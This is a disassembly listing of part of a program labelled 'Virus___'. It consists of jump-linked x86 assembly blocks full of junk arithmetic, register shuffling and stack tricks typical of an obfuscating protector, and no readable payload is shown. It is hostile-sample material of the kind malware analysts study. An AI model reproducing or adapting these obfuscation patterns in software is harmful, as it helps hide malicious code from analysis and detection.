--------------------------------------------------------------------------- loc_580F1E: ; CODE XREF: Virus___:0058A087j push ax mov ah, 80h jmp loc_580506 ; --------------------------------------------------------------------------- loc_580F27: ; CODE XREF: Virus___:0058A1C9j push 19DC6E1Dh jmp loc_592AAA ; --------------------------------------------------------------------------- loc_580F31: ; CODE XREF: Virus___:00586330j dec eax inc eax sub eax, 19F0CED8h add ebp, 3A97741Eh jmp loc_588E10 ; --------------------------------------------------------------------------- loc_580F43: ; CODE XREF: Virus___:00586F7Bj add edx, ebx pop ebx add edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_588265 ; --------------------------------------------------------------------------- loc_580F54: ; CODE XREF: Virus___:0059384Dj pop edx pop ebp and esi, edx mov edx, [esp] add esp, 4 jmp loc_57FF10 ; --------------------------------------------------------------------------- loc_580F63: ; CODE XREF: Virus___:0058679Dj mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_5873F4 ; --------------------------------------------------------------------------- loc_580F76: ; CODE XREF: Virus___:0058AD84j mov eax, edx pop edx push 0 sub [esp], eax pop eax shl eax, 1 not eax inc eax jmp loc_584014 ; --------------------------------------------------------------------------- loc_580F8C: ; CODE XREF: Virus___:00585776j mov [esp], edx mov edx, 0 jmp loc_58FB8C ; --------------------------------------------------------------------------- loc_580F99: ; CODE XREF: Virus___:0058F00Fj push ebx jmp loc_587BF8 ; --------------------------------------------------------------------------- loc_580F9F: ; CODE XREF: Virus___:005822DCj sub ecx, ebx mov ebx, [esp] jmp loc_5923F7 ; --------------------------------------------------------------------------- loc_580FA9: ; CODE XREF: Virus___:0057F7E0j pop esp mov [esp], edx mov edx, 0EBA3C6Eh xor [esp+4], edx pop edx jmp loc_582F0F ; --------------------------------------------------------------------------- loc_580FBC: ; CODE XREF: Virus___:00582E9Ej push edx mov dl, 0D3h sub dl, 0D2h add bh, dl pop edx add bh, 80h xor bh, 12h push edx mov dh, bh mov ch, dh pop edx mov ebx, [esp] add esp, 4 push eax mov ah, ch mov dh, ah pop eax mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp xor ch, dh pop edx jmp loc_593FCD ; --------------------------------------------------------------------------- loc_580FF8: ; CODE XREF: Virus___:00581963j push 7A07h mov [esp], ebx mov bl, dl mov cl, bl pop ebx mov edx, [esp] add esp, 4 add cl, 1 push ecx xchg ah, [esp] jmp loc_583D7B ; --------------------------------------------------------------------------- loc_58101A: ; CODE XREF: Virus___:0058E8BCj pop ebx dec ebp jmp loc_584C1E ; --------------------------------------------------------------------------- loc_581021: ; CODE XREF: Virus___:005815EAj add esp, 4 add al, bh mov ebx, [esp] jmp loc_594153 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 jmp loc_58E884 ; --------------------------------------------------------------------------- loc_581040: ; CODE XREF: Virus___:0058BFEDj push dword ptr [esp] pop eax push 7AA9h mov [esp], ebp jmp loc_592EB3 ; --------------------------------------------------------------------------- loc_581051: ; CODE XREF: Virus___:00581287j mov ebp, 2FB2578Ch add ebp, 7DC20F88h push ebx mov ebx, 54D07535h push ebp mov ebp, 33C44BD0h xor ebx, ebp pop ebp not ebx shl ebx, 3 sub ebx, 6E4A9AA6h jmp loc_585EED ; --------------------------------------------------------------------------- loc_58107B: ; CODE XREF: Virus___:0059096Cj add ebx, 9DA9130Ch jmp loc_587757 ; --------------------------------------------------------------------------- loc_581086: ; CODE XREF: Virus___:00589C67j mov [esp], ecx mov ch, dl mov al, ch pop ecx push edx jmp loc_592284 ; --------------------------------------------------------------------------- loc_581094: ; CODE XREF: Virus___:00591A3Cj not eax inc eax sub eax, 0A246C3AEh jmp loc_58F271 ; --------------------------------------------------------------------------- loc_5810A1: ; CODE XREF: Virus___:0058294Cj xor ebp, 0D0D9D97Eh sub eax, ebp jmp loc_581BA3 ; --------------------------------------------------------------------------- loc_5810AE: ; CODE XREF: Virus___:0058F4BCj push edx mov dl, 22h sub dl, 81h inc dl jmp loc_580499 ; --------------------------------------------------------------------------- loc_5810BB: ; CODE XREF: Virus___:00581BACj sub eax, 1FD527A3h push 3C7h mov [esp], ecx mov ecx, 33061CF8h jmp loc_5885E2 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], ax pushf jmp loc_58AA51 ; --------------------------------------------------------------------------- loc_5810E2: ; CODE XREF: Virus___:005925B0j mov ebp, esi pop esi add edx, ebp mov ebp, [esp] add esp, 4 push dword ptr [edx] pop ecx mov edx, [esp] push edi mov edi, esp add edi, 4 push eax mov eax, 4 sub edi, eax jmp loc_5932C1 ; --------------------------------------------------------------------------- loc_581109: ; CODE XREF: Virus___:0058D17Dj push edx mov edx, esp push ebx mov ebx, 4 jmp loc_593E89 ; --------------------------------------------------------------------------- loc_581117: ; CODE XREF: Virus___:00586FD4j pop ecx jmp loc_58EF15 ; --------------------------------------------------------------------------- loc_58111D: ; CODE XREF: Virus___:00592988j mov [esp], ebx mov ebx, 4 sub ebp, 5407680Dh sub ebp, 61EF31EEh jmp loc_58677C ; --------------------------------------------------------------------------- loc_581136: ; CODE XREF: Virus___:00581946j mov edx, 456E2DFDh dec edx add edx, 0FD38F0h and edx, 14D1493Eh shl edx, 4 or edx, 30270AD4h add edx, 8BC8F530h add esi, edx jmp loc_58C819 ; --------------------------------------------------------------------------- loc_58115E: ; CODE XREF: Virus___:00593571j sub edx, edi jmp loc_58E51B ; --------------------------------------------------------------------------- loc_581165: ; CODE XREF: Virus___:0058879Dj add ebx, edx pop edx push ebx sub esp, 4 mov [esp], esi jmp loc_58F5DA ; --------------------------------------------------------------------------- loc_581177: ; CODE XREF: Virus___:00587E16j sub dl, 0B8h xor dl, 88h mov cl, dl pop edx shl cl, 5 shr cl, 7 sub cl, 4Eh add al, 1Ah sub al, cl jmp loc_593CE5 ; --------------------------------------------------------------------------- loc_581192: ; CODE XREF: Virus___:005860BDj pop ebp add ebp, 4 jmp loc_58854F ; --------------------------------------------------------------------------- loc_58119E: ; CODE XREF: Virus___:00588F3Dj mov ebx, 74290C0Bh not ebx jmp loc_57F3FF ; --------------------------------------------------------------------------- loc_5811AA: ; CODE XREF: Virus___:00588944j push 468Fh mov [esp], ebx push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_58DAAA ; --------------------------------------------------------------------------- loc_5811C0: ; CODE XREF: Virus___:0059201Cj add edx, 4 xchg edx, [esp] pop esp jmp loc_59215C ; --------------------------------------------------------------------------- loc_5811CC: ; CODE XREF: Virus___:0058D514j mov edx, [esp] push edi push esp pop edi jmp loc_592C83 ; --------------------------------------------------------------------------- loc_5811D7: ; CODE XREF: Virus___:00582A10j xchg ecx, [esp] jmp loc_588847 ; --------------------------------------------------------------------------- loc_5811DF: ; CODE XREF: Virus___:00591B53j xor edx, 2D2F2684h add edx, 4901291Ah shr edx, 1 dec edx push esi mov esi, 4788CA78h xor edx, esi pop esi sub ecx, edx mov edx, [esp] add esp, 4 jmp loc_58AE98 ; --------------------------------------------------------------------------- loc_581204: ; CODE XREF: Virus___:0057F3ADj pop ecx sub ebp, 6B743702h add ebp, edi add ebp, 6B743702h add ebp, 3E0F611Bh push dword ptr [esp] pop edi add esp, 4 add ebp, 2 xchg ebp, [esp] pop esp mov ax, [esp] sub esp, 4 jmp loc_582AA2 ; --------------------------------------------------------------------------- loc_581233: ; CODE XREF: Virus___:005913A1j push edx mov edx, 637410Eh or edx, 608D608Ch neg edx xor edx, 99409E76h push edx xor dword ptr [esp], 411D16D2h pop ecx jmp loc_583AB4 ; --------------------------------------------------------------------------- loc_581255: ; CODE XREF: Virus___:00593F1Bj shr ebx, 6 not ebx jmp loc_59416F ; --------------------------------------------------------------------------- loc_58125F: ; CODE XREF: Virus___:00589CCFj add ecx, ebx pop ebx add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] or edx, eax shl edx, 1 push 5535h mov [esp], ebp push edi push 34313C37h pop edi not edi push ebp jmp loc_581051 ; --------------------------------------------------------------------------- loc_58128C: ; CODE XREF: Virus___:0058D4E2j add ebx, 4 sub ebx, 4 jmp loc_58902E ; --------------------------------------------------------------------------- loc_58129A: ; CODE XREF: Virus___:0058760Aj add ecx, 2 xchg ecx, [esp] mov esp, [esp] jmp loc_59294D ; --------------------------------------------------------------------------- loc_5812AB: ; CODE XREF: Virus___:0058630Cj mov esi, 2B84005Fh jmp loc_588ECF ; --------------------------------------------------------------------------- loc_5812B5: ; CODE XREF: Virus___:0058620Dj push edi pop eax pop edi push edi mov edi, 0F714D01h dec edi inc edi dec edi xor edi, 66917B4Dh and eax, edi jmp loc_58A8E3 ; --------------------------------------------------------------------------- loc_5812CE: ; CODE XREF: Virus___:0057F73Cj inc esi and esi, 786824DEh jmp loc_581999 ; --------------------------------------------------------------------------- loc_5812DA: ; CODE XREF: Virus___:005844E7j push ebp push 5B62599Fh mov ebp, [esp] add esp, 4 jmp loc_5905D5 ; --------------------------------------------------------------------------- loc_5812EB: ; CODE XREF: Virus___:005893B2j pop esi add ecx, ebp mov ebp, [esp] push ebp push esp pop ebp jmp loc_5875F7 ; --------------------------------------------------------------------------- loc_5812F9: ; CODE XREF: Virus___:00589322j mov esi, 5B74551Ah xor eax, esi pop esi add ebp, 73907A9Bh add ebp, eax sub ebp, 73907A9Bh push dword ptr [esp] pop eax push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_592CFA ; --------------------------------------------------------------------------- loc_581327: ; CODE XREF: Virus___:00589015j xor esi, 2DC3278Ah jmp loc_585768 ; --------------------------------------------------------------------------- loc_581332: ; CODE XREF: Virus___:0058AC17j mov edi, 2 push ebp mov ebp, 134C3B00h dec ebp jmp loc_58ACAC ; --------------------------------------------------------------------------- loc_581343: ; CODE XREF: Virus___:0058FD24j sub eax, 0B495756h jmp loc_58A6CE ; --------------------------------------------------------------------------- loc_58134D: ; CODE XREF: Virus___:00584ACAj mov ebp, edi pop edi push esi mov esi, 1F1307A3h jmp loc_58DC37 ; --------------------------------------------------------------------------- loc_58135B: ; CODE XREF: Virus___:005844C2j mov esp, [esp] push ebp jmp loc_5805F9 ; --------------------------------------------------------------------------- loc_581364: ; CODE XREF: Virus___:0058A893j mov [esp], esp add dword ptr [esp], 4 pop ebx jmp loc_592EF4 ; --------------------------------------------------------------------------- loc_581371: ; CODE XREF: Virus___:0058F10Aj push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_5910E2 ; --------------------------------------------------------------------------- loc_581382: ; CODE XREF: Virus___:005940F0j xor ebp, edx xor edx, ebp xor ebp, edx inc ebp xor ebp, 72E4164Fh push edx mov edx, 304428E1h dec edx sub edx, 443ECDC1h sub ebp, edx pop edx mov edx, ebp jmp loc_57F8E2 ; --------------------------------------------------------------------------- loc_5813A6: ; CODE XREF: Virus___:00594420j mov [esp], edi jmp loc_5881F8 ; --------------------------------------------------------------------------- loc_5813AE: ; CODE XREF: Virus___:0057FE98j add ecx, eax sub esp, 4 jmp loc_582A41 ; --------------------------------------------------------------------------- loc_5813B8: ; CODE XREF: Virus___:005802CAj push 3D7Bh mov [esp], ebp sub esp, 4 mov [esp], esp push ecx mov ecx, 4 add [esp+4], ecx pop ecx push dword ptr [esp] pop ebp add esp, 4 push 1EC4h mov [esp], eax push ebp mov ebp, 5A1B120Bh mov eax, ebp pop ebp shr eax, 8 sub eax, offset word_5A1B0E add ebp, eax jmp loc_593661 ; --------------------------------------------------------------------------- loc_5813FE: ; CODE XREF: Virus___:0058338Dj add ecx, 126B6040h sub ebp, ecx jmp loc_588DB2 ; --------------------------------------------------------------------------- loc_58140B: ; CODE XREF: Virus___:00582915j sub esp, 4 mov [esp], esi mov esi, 66C72CFEh shr esi, 3 jmp loc_583AAC ; --------------------------------------------------------------------------- loc_58141E: ; CODE XREF: Virus___:005928C5j inc eax shl eax, 1 xor eax, 9891B352h mov ecx, eax pop eax add eax, ecx mov ecx, [esp] jmp loc_5893D3 ; --------------------------------------------------------------------------- loc_581433: ; CODE XREF: Virus___:00583F60j mov esi, [esp] add esp, 4 push ebp mov ebp, 4 add esi, ebp pop ebp push ebx mov ebx, 4 add esi, ebx jmp loc_581AAD ; --------------------------------------------------------------------------- loc_58144F: ; CODE XREF: Virus___:0058669Dj mov edi, 3FCh mov esi, edi mov edi, [esp] add esp, 4 push 156Ch mov [esp], eax push ebx push esi mov esi, 0CFE2277h shr esi, 3 shl esi, 6 push esi neg dword ptr [esp] mov esi, [esp] add esp, 4 or esi, 74EC7737h jmp loc_581794 ; --------------------------------------------------------------------------- loc_581489: ; CODE XREF: Virus___:0059109Ej add ebp, 6C00317h jmp loc_593F42 ; --------------------------------------------------------------------------- loc_581494: ; CODE XREF: Virus___:005824CCj mov edx, 20D6078Fh xor edx, 38D765E7h jmp loc_589625 ; --------------------------------------------------------------------------- loc_5814A4: ; CODE XREF: Virus___:0058524Dj mov [esp], ecx mov ecx, 4 jmp loc_58F0F7 ; --------------------------------------------------------------------------- loc_5814B1: ; CODE XREF: Virus___:0058DF4Cj not ecx push eax push ecx jmp loc_580C58 ; --------------------------------------------------------------------------- loc_5814BA: ; CODE XREF: Virus___:0058CB8Fj sub eax, 5AFA677Fh jmp loc_586EFD ; --------------------------------------------------------------------------- loc_5814C4: ; CODE XREF: Virus___:0058037Ej mov [esp], edi push esp pop edi add edi, 4 jmp loc_588CE6 ; --------------------------------------------------------------------------- loc_5814D4: ; CODE XREF: Virus___:0058AE0Ej mov [esp], ecx jmp loc_58CE8E ; --------------------------------------------------------------------------- loc_5814DC: ; CODE XREF: Virus___:00585E14j mov esp, [esp] idiv ecx jmp loc_587837 ; --------------------------------------------------------------------------- loc_5814E6: ; CODE XREF: Virus___:0058314Aj not edi xchg edi, [esp] jmp loc_592C6E ; --------------------------------------------------------------------------- loc_5814F0: ; CODE XREF: Virus___:00580D25j mov dl, ah pop eax sub bh, dl pop dx xor al, bh pop ebx jmp loc_5871FF ; --------------------------------------------------------------------------- loc_5814FF: ; CODE XREF: Virus___:00588173j sub ecx, 11492A02h add ecx, edi add ecx, 11492A02h pop edi xchg ecx, [esp] mov esp, [esp] push dword ptr [esp] pop edx push ebp push esp mov ebp, [esp] add esp, 4 push 777Dh mov [esp], ecx push ebp mov ebp, 47304C3Ah mov ecx, ebp pop ebp sub ecx, 47304C36h sub esp, 4 mov [esp], eax mov eax, 5F565F68h add ebp, eax pop eax sub ebp, 1CB562ACh add ebp, ecx add ebp, 1CB562ACh push ecx mov ecx, 5F565F68h sub ebp, 6895027Eh sub ebp, ecx push edi mov edi, 71A95A11h sub edi, 215A215Ah jmp loc_582DEC ; --------------------------------------------------------------------------- loc_581578: ; CODE XREF: Virus___:00589834j push eax mov eax, esp jmp loc_58EBF7 ; --------------------------------------------------------------------------- loc_581580: ; CODE XREF: Virus___:005898E5j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push ecx mov ecx, esp jmp loc_583455 ; --------------------------------------------------------------------------- loc_581595: ; CODE XREF: Virus___:0058C887j add esp, 4 pop ecx pop ebx pop ecx pop ebx xor al, dh mov dx, [esp] push ecx push esp jmp loc_591ED4 ; --------------------------------------------------------------------------- loc_5815AC: ; CODE XREF: Virus___:0058708Dj push dword ptr [esp] mov edx, [esp] push 6F22h mov [esp], ebp mov ebp, esp jmp loc_594425 ; --------------------------------------------------------------------------- loc_5815C1: ; CODE XREF: Virus___:00582FC6j dec ah xor ah, 5 sub ch, ah pop eax shl ch, 4 add ch, 0F0h shl ch, 1 push small 1D4Ch mov [esp], dx mov dh, 88h or ch, dh pop dx xor ch, 0ECh add dl, ch pop ecx mov bh, dl mov edx, [esp] jmp loc_581021 ; --------------------------------------------------------------------------- push 6939h mov [esp], esi jmp loc_58C21A ; --------------------------------------------------------------------------- loc_5815FC: ; CODE XREF: Virus___:005925FAj xor edi, 68054688h xor edi, 5EFFA2BCh push edi xor dword ptr [esp], 6F7721Ch mov ecx, [esp] add esp, 4 jmp loc_580114 ; --------------------------------------------------------------------------- loc_58161B: ; CODE XREF: Virus___:005824FEj push edx jmp loc_58CFDF ; --------------------------------------------------------------------------- loc_581621: ; CODE XREF: Virus___:00591037j sub ebx, 92CFFBFAh add ebp, ebx pop ebx push ebx mov ebx, 247B0521h shl ebx, 1 push ebp jmp loc_59188C ; --------------------------------------------------------------------------- loc_581638: ; CODE XREF: Virus___:00582887j not eax xor eax, 31252AE0h jmp loc_58DA4A ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_58F755 ; --------------------------------------------------------------------------- loc_58164C: ; CODE XREF: Virus___:00583FEEj add esp, 4 pop dword ptr [esp] jmp loc_58DF1A ; --------------------------------------------------------------------------- loc_581657: ; CODE XREF: Virus___:0058D619j or ecx, edi jmp loc_586AA0 ; --------------------------------------------------------------------------- loc_58165E: ; CODE XREF: Virus___:0058658Aj add esi, eax jmp loc_594167 ; --------------------------------------------------------------------------- loc_581665: ; CODE XREF: Virus___:00580CCAj mov ebx, edx pop edx push ecx mov ecx, 70AA1026h sub ecx, 5AFC5F52h jmp loc_5849AE ; --------------------------------------------------------------------------- loc_581679: ; CODE XREF: Virus___:0058304Fj push eax push ebp jmp loc_588F2F ; --------------------------------------------------------------------------- loc_581680: ; CODE XREF: Virus___:00591C5Fj pop ebp mov ebp, [esp] jmp loc_584833 ; --------------------------------------------------------------------------- loc_581689: ; CODE XREF: Virus___:00593F6Dj shl edi, 4 jmp loc_58E64C ; --------------------------------------------------------------------------- loc_581691: ; CODE XREF: Virus___:00591D61j xchg edx, [esp] jmp loc_586FFA ; --------------------------------------------------------------------------- loc_581699: ; CODE XREF: Virus___:00586094j push 20Bh jmp loc_594065 ; --------------------------------------------------------------------------- loc_5816A3: ; CODE XREF: Virus___:00587D3Bj push ebx mov ebx, 2 add ebp, ebx pop ebx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_587C38 ; --------------------------------------------------------------------------- loc_5816BB: ; CODE XREF: Virus___:00590417j pop eax xor eax, 107146DEh mov edx, [esp] push eax jmp loc_58789E ; --------------------------------------------------------------------------- loc_5816CA: ; CODE XREF: Virus___:00592A26j add esp, 4 push esi mov esi, esp add esi, 4 push ebp mov ebp, 2AC60D40h shr ebp, 1 inc ebp or ebp, 505724Bh not ebp neg ebp sub ebp, 156776E8h jmp loc_585E84 ; --------------------------------------------------------------------------- loc_5816F4: ; CODE XREF: Virus___:00591F34j push 38CE49E0h mov eax, [esp] jmp loc_5937D0 ; --------------------------------------------------------------------------- loc_581701: ; CODE XREF: Virus___:005909B5j add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], eax jmp loc_58E6DA ; --------------------------------------------------------------------------- loc_581719: ; CODE XREF: Virus___:0058C1E3j add [esp+4], ecx pop ecx jmp loc_582DD2 ; --------------------------------------------------------------------------- loc_581723: ; CODE XREF: Virus___:00584DB1j pop ebp add [esp+4], ecx add dword ptr [esp+4], 54FF03CCh push edi mov edi, 47B01CDDh add [esp+8], edi pop edi sub dword ptr [esp+4], 4A8C7C1Ah pop ecx pop dword ptr [eax] push ebx mov ebx, 6FAE3143h sub [eax], ebx push dword ptr [esp] pop ebx jmp loc_57FA6C ; --------------------------------------------------------------------------- loc_581757: ; CODE XREF: Virus___:0058E40Bj pop esp mov [esp], ebx jmp loc_59332F ; --------------------------------------------------------------------------- loc_581760: ; CODE XREF: Virus___:0058E832j mov [esp], ebp mov ebp, 260D03E4h xor ebp, 6E023BA3h xor ebp, 480F3843h add esi, ebp pop ebp push edx mov edx, 3BD80D21h sub edx, 1 or edx, 8940095h sub edx, 3BDC0DB1h jmp loc_5905A5 ; --------------------------------------------------------------------------- loc_581794: ; CODE XREF: Virus___:00581484j add esi, 523B5AD8h jmp loc_591958 ; --------------------------------------------------------------------------- loc_58179F: ; CODE XREF: Virus___:00581F82j xor ebp, eax pop eax sub ecx, ebp pop ebp pop ebp jmp loc_585DF9 ; --------------------------------------------------------------------------- loc_5817AB: ; CODE XREF: Virus___:005821F4j xor ebp, 2BB0654h add ebp, 78083CCEh jmp loc_586306 ; --------------------------------------------------------------------------- loc_5817BC: ; CODE XREF: Virus___:00586EEDj add cl, 0B2h shl cl, 4 and cl, 5 sub cl, 4Dh jmp loc_582E93 ; --------------------------------------------------------------------------- loc_5817CD: ; CODE XREF: Virus___:0058850Aj push ebp mov ebp, 18244605h not ebp jmp loc_58B0CB ; --------------------------------------------------------------------------- loc_5817DA: ; CODE XREF: Virus___:0059006Dj mov ebp, [esp] add esp, 4 jmp loc_58518B ; --------------------------------------------------------------------------- loc_5817E8: ; CODE XREF: Virus___:0058C9E0j mov eax, 7CF177EBh shl eax, 6 shl eax, 7 add eax, 0ED84AED3h and ebp, eax pop eax inc ebp add ebp, 35C954B7h sub ebx, 58153C9Eh sub ebx, ebp add ebx, 58153C9Eh mov ebp, [esp] add esp, 4 sub ebx, 607954BFh push edi mov edi, 804251Ch add ebx, 307733A5h jmp loc_58F038 ; --------------------------------------------------------------------------- loc_58182D: ; CODE XREF: Virus___:0058A6C9j sub dword ptr [esp+4], 45FA5D01h push eax jmp loc_593C42 ; --------------------------------------------------------------------------- loc_58183B: ; CODE XREF: Virus___:0059343Fj mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 add ebx, 4 jmp loc_584787 ; --------------------------------------------------------------------------- loc_581853: ; CODE XREF: Virus___:0058B8B3j mov bh, 8Ah mov dl, 59h xor dl, bh pop ebx push ebx mov bl, 0CCh sub dl, bl pop ebx add ah, 0C9h add ah, dl push edx mov dh, 0C0h inc dh inc dh not dh sub dh, 5Bh push ax mov ah, 19h sub dh, ah pop ax jmp loc_58BEFB ; --------------------------------------------------------------------------- loc_58187E: ; CODE XREF: Virus___:00593F44j sub ebp, 6C00317h push eax mov eax, 591E2DFCh jmp loc_582BB0 ; --------------------------------------------------------------------------- loc_58188F: ; CODE XREF: Virus___:00590990j pop ecx push esi push esp pop esi push ecx push 7DA3h jmp loc_589B83 ; --------------------------------------------------------------------------- loc_58189E: ; CODE XREF: Virus___:0058BF36j mov [esp], esp add dword ptr [esp], 4 mov eax, [esp] add esp, 4 sub esp, 4 jmp loc_58F8A5 ; --------------------------------------------------------------------------- loc_5818B6: ; CODE XREF: Virus___:00591476j pop ebp add esi, 4 xchg esi, [esp] jmp loc_58E0F6 ; --------------------------------------------------------------------------- loc_5818C5: ; CODE XREF: Virus___:0058E132j add esp, 4 add ebx, 0FFFFFFFFh sub esp, 4 mov [esp], edi push eax jmp loc_58F9DA ; --------------------------------------------------------------------------- loc_5818DA: ; CODE XREF: Virus___:0058A1C3j add ebx, 4 jmp loc_58896A ; --------------------------------------------------------------------------- loc_5818E5: ; CODE XREF: Virus___:0058520Dj jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5818EA: ; CODE XREF: Virus___:00594243j add dword ptr [esp], 4 pop eax add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] jmp loc_58E981 ; --------------------------------------------------------------------------- loc_58190A: ; CODE XREF: Virus___:00593227j pop esi add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp push ecx jmp loc_5846C5 ; --------------------------------------------------------------------------- loc_58191E: ; CODE XREF: Virus___:00593454j push edi jmp loc_5917B5 ; --------------------------------------------------------------------------- loc_581924: ; CODE XREF: Virus___:0058EDB6j mov [esp], edi push 1 push dword ptr [esp] pop edi push 67CCh mov [esp], ebp jmp loc_57F833 ; --------------------------------------------------------------------------- loc_58193D: ; CODE XREF: Virus___:0058DB7Ej pop esi push 12C9h mov [esp], edx jmp loc_581136 ; --------------------------------------------------------------------------- loc_58194B: ; CODE XREF: Virus___:00582367j add edx, 4 jmp loc_58F450 ; --------------------------------------------------------------------------- loc_581956: ; CODE XREF: Virus___:0058F115j push ecx push edx mov dl, 71h push eax mov ah, 0EDh and dl, ah pop eax xor dl, 60h jmp loc_580FF8 ; --------------------------------------------------------------------------- loc_581968: ; CODE XREF: Virus___:00594129j add eax, edx mov edx, [esp] add esp, 4 jmp loc_58EAF7 ; --------------------------------------------------------------------------- loc_581978: ; CODE XREF: Virus___:00587660j mov esp, [esp] jmp loc_58C0A9 ; --------------------------------------------------------------------------- loc_581980: ; CODE XREF: Virus___:00592D6Dj mov eax, esi mov esi, [esp] add esp, 4 not eax not eax push 7111h mov [esp], esi jmp loc_593091 ; --------------------------------------------------------------------------- loc_581999: ; CODE XREF: Virus___:005812D5j and esi, 29ED5786h inc esi sub esi, 0C58AF9DAh sub ebx, esi pop esi sub ecx, ebx pop ebx pop edx push ebp jmp loc_58A7CF ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5819BB: ; CODE XREF: Virus___:00584CE5j sub edx, 369C192Ch jmp loc_58849F ; --------------------------------------------------------------------------- loc_5819C6: ; CODE XREF: Virus___:00590637j push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] rol byte ptr [esp], cl pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5819DB: ; CODE XREF: Virus___:0058EC55j inc esi jmp loc_582EBD ; --------------------------------------------------------------------------- loc_5819E1: ; CODE XREF: Virus___:005918F1j push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push ebx push esp push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop ebx push ebp push esp jmp loc_58C3CC ; --------------------------------------------------------------------------- loc_581A03: ; CODE XREF: Virus___:00585D2Cj push edx jmp loc_584661 ; --------------------------------------------------------------------------- loc_581A09: ; CODE XREF: Virus___:00585E95j xor ebp, [esp] xor [esp], ebp jmp loc_5872EC ; --------------------------------------------------------------------------- loc_581A14: ; CODE XREF: Virus___:00590E04j pop ecx dec dh push eax mov al, 74h add dh, al jmp loc_58621F ; --------------------------------------------------------------------------- loc_581A21: ; CODE XREF: Virus___:005915D1j sub esp, 4 mov [esp], esi mov esi, 4D4F5096h add eax, esi pop esi push 5544h mov [esp], eax pop edx mov eax, [esp] add esp, 4 add eax, 2F786F7Ch jmp loc_587B4B ; --------------------------------------------------------------------------- loc_581A4B: ; CODE XREF: Virus___:00589465j add [ecx], ebx jmp loc_592EA5 ; --------------------------------------------------------------------------- loc_581A52: ; CODE XREF: Virus___:00593D02j pop esi jmp loc_586EF2 ; --------------------------------------------------------------------------- loc_581A58: ; CODE XREF: Virus___:0058BFCBj xchg esi, [esp] pop esp mov edx, ebx pop ebx jmp loc_58CC08 ; --------------------------------------------------------------------------- loc_581A64: ; CODE XREF: Virus___:0058D637j mov edi, [esp] jmp loc_58D374 ; --------------------------------------------------------------------------- loc_581A6C: ; CODE XREF: Virus___:00585BCBj mov [esp], esi push esp pop esi push edi jmp loc_582772 ; --------------------------------------------------------------------------- loc_581A77: ; CODE XREF: Virus___:0059304Fj mov [esp], esp jmp loc_590507 ; --------------------------------------------------------------------------- loc_581A7F: ; CODE XREF: Virus___:0058AB11j add esp, 4 mov ebx, [esp] add esp, 4 push eax mov eax, 382668CAh jmp loc_58B88A ; --------------------------------------------------------------------------- loc_581A96: ; CODE XREF: Virus___:005943A1j push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_581D75 ; --------------------------------------------------------------------------- loc_581AAD: ; CODE XREF: Virus___:0058144Aj pop ebx push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] add ebp, 4 add ebp, 2 xor ebp, [esp] jmp loc_590931 ; --------------------------------------------------------------------------- loc_581ACE: ; CODE XREF: Virus___:00580653j mov eax, [esp] add esp, 4 jmp loc_5855E3 ; --------------------------------------------------------------------------- loc_581ADC: ; CODE XREF: Virus___:00591BDBj mov edi, 4 add ecx, edi push dword ptr [esp] mov edi, [esp] add esp, 4 push edx mov edx, esp sub esp, 4 jmp loc_590D04 ; --------------------------------------------------------------------------- loc_581AFA: ; CODE XREF: Virus___:00590941j shr edi, 6 jmp loc_58FAF2 ; --------------------------------------------------------------------------- loc_581B02: ; CODE XREF: Virus___:00592993j mov [esp], eax jmp loc_58FED7 ; --------------------------------------------------------------------------- loc_581B0A: ; CODE XREF: Virus___:0058998Aj mov edx, [esp] add esp, 4 not esi or esi, 326C4205h and esi, 728625A6h push edx mov edx, 0C1E52E52h add esi, edx jmp loc_582538 ; --------------------------------------------------------------------------- loc_581B2B: ; CODE XREF: Virus___:005873EFj pop edx pop dword ptr [esp] pop esp xchg ecx, [esp] mov esp, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_592123 ; --------------------------------------------------------------------------- loc_581B49: ; CODE XREF: Virus___:00580E3Bj pop esp sub esp, 4 jmp loc_582DFE ; --------------------------------------------------------------------------- loc_581B55: ; CODE XREF: Virus___:0057FD73j pop ecx mov ecx, [esp] push edx jmp loc_57FA46 ; --------------------------------------------------------------------------- loc_581B5F: ; CODE XREF: Virus___:00591979j pop ebp push 69FBh mov [esp], ecx mov ecx, 77B85F7Ah and ecx, 6BA17281h not ecx jmp loc_58C2BB ; --------------------------------------------------------------------------- loc_581B7A: ; CODE XREF: Virus___:0057FB07j mov ecx, [esp] add esp, 4 and eax, edx mov edx, [esp] jmp loc_586D33 ; --------------------------------------------------------------------------- loc_581B8D: ; CODE XREF: Virus___:0058431Dj not eax xchg eax, edx shl edx, 4 shl edx, 7 push esi jmp loc_5855ED ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_57F37C ; --------------------------------------------------------------------------- loc_581BA3: ; CODE XREF: Virus___:005810A9j mov ebp, [esp] add esp, 4 jmp loc_5810BB ; --------------------------------------------------------------------------- loc_581BB1: ; CODE XREF: Virus___:0058DFE9j mov edx, ebp pop ebp jmp loc_58B03D ; 